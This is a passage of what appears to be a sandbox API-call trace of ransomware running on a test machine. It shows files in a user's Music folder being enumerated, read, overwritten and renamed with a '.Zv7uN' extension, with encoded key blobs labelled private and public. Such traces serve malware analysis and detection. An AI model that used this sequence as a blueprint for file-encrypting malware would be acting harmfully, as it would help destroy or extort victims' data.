dwReserved0=0x430e0820, dwReserved1=0xba1113e9, cFileName="cCYg9.wav", cAlternateFileName="")) returned 1 [0085.746] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0085.746] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0085.746] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cCYg9.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ccyg9.wav"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fad1c60, ftCreationTime.dwHighDateTime=0x1d5dfd9, ftLastAccessTime.dwLowDateTime=0x66abe1e0, ftLastAccessTime.dwHighDateTime=0x1d5e4e2, ftLastWriteTime.dwLowDateTime=0x66abe1e0, ftLastWriteTime.dwHighDateTime=0x1d5e4e2, nFileSizeHigh=0x0, nFileSizeLow=0x911f)) returned 1 [0085.746] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cCYg9.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ccyg9.wav")) returned 0x20 [0085.747] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cCYg9.wav", dwFileAttributes=0x80) returned 1 [0085.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0085.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0085.751] GetCurrentThreadId () returned 0xa30 [0085.751] GetCurrentThreadId () returned 0xa30 [0085.751] GetCurrentThreadId () returned 0xa30 [0085.751] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0085.751] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0085.752] GetCurrentThreadId () returned 0xa30 [0085.752] GetCurrentThreadId () returned 0xa30 [0085.752] GetCurrentThreadId () returned 0xa30 [0085.752] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cCYg9.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ccyg9.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0085.752] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0085.752] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0085.752] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x911f [0085.753] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0085.753] ReadFile (in: hFile=0x124, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0x911f, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f96c*=0x911f, lpOverlapped=0x0) returned 1 [0085.755] CloseHandle (hObject=0x124) returned 1 [0085.756] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cCYg9.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ccyg9.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0085.758] WriteFile (in: hFile=0x124, lpBuffer=0x1efa040*, nNumberOfBytesToWrite=0x911f, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1efa040*, lpNumberOfBytesWritten=0x18f978*=0x911f, lpOverlapped=0x0) returned 1 [0085.762] CloseHandle (hObject=0x124) returned 1 [0085.763] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cCYg9.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ccyg9.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cCYg9.wav.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ccyg9.wav.zv7un")) returned 1 [0085.764] GetCurrentThreadId () returned 0xa30 [0085.764] GetCurrentThreadId () returned 0xa30 [0085.764] GetCurrentThreadId () returned 0xa30 [0085.764] GetCurrentThreadId () returned 0xa30 [0085.764] GetCurrentThreadId () returned 0xa30 [0085.764] GetCurrentThreadId () returned 0xa30 [0085.764] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x430e0820, dwReserved1=0xba1113e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0085.764] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0085.764] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0085.764] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef660f80, ftCreationTime.dwHighDateTime=0x1d5e779, ftLastAccessTime.dwLowDateTime=0x64043220, ftLastAccessTime.dwHighDateTime=0x1d5db79, ftLastWriteTime.dwLowDateTime=0x64043220, ftLastWriteTime.dwHighDateTime=0x1d5db79, nFileSizeHigh=0x0, nFileSizeLow=0x135f8, dwReserved0=0x430e0820, dwReserved1=0xba1113e9, cFileName="gzqltNzvsbx7WwV5opFx.m4a", cAlternateFileName="GZQLTN~1.M4A")) returned 1 [0085.765] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0085.765] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0085.765] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\gzqltNzvsbx7WwV5opFx.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gzqltnzvsbx7wwv5opfx.m4a"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef660f80, ftCreationTime.dwHighDateTime=0x1d5e779, ftLastAccessTime.dwLowDateTime=0x64043220, ftLastAccessTime.dwHighDateTime=0x1d5db79, ftLastWriteTime.dwLowDateTime=0x64043220, ftLastWriteTime.dwHighDateTime=0x1d5db79, nFileSizeHigh=0x0, nFileSizeLow=0x135f8)) returned 1 [0085.765] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\gzqltNzvsbx7WwV5opFx.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gzqltnzvsbx7wwv5opfx.m4a")) returned 0x20 [0085.765] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\gzqltNzvsbx7WwV5opFx.m4a", dwFileAttributes=0x80) returned 1 [0085.767] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWc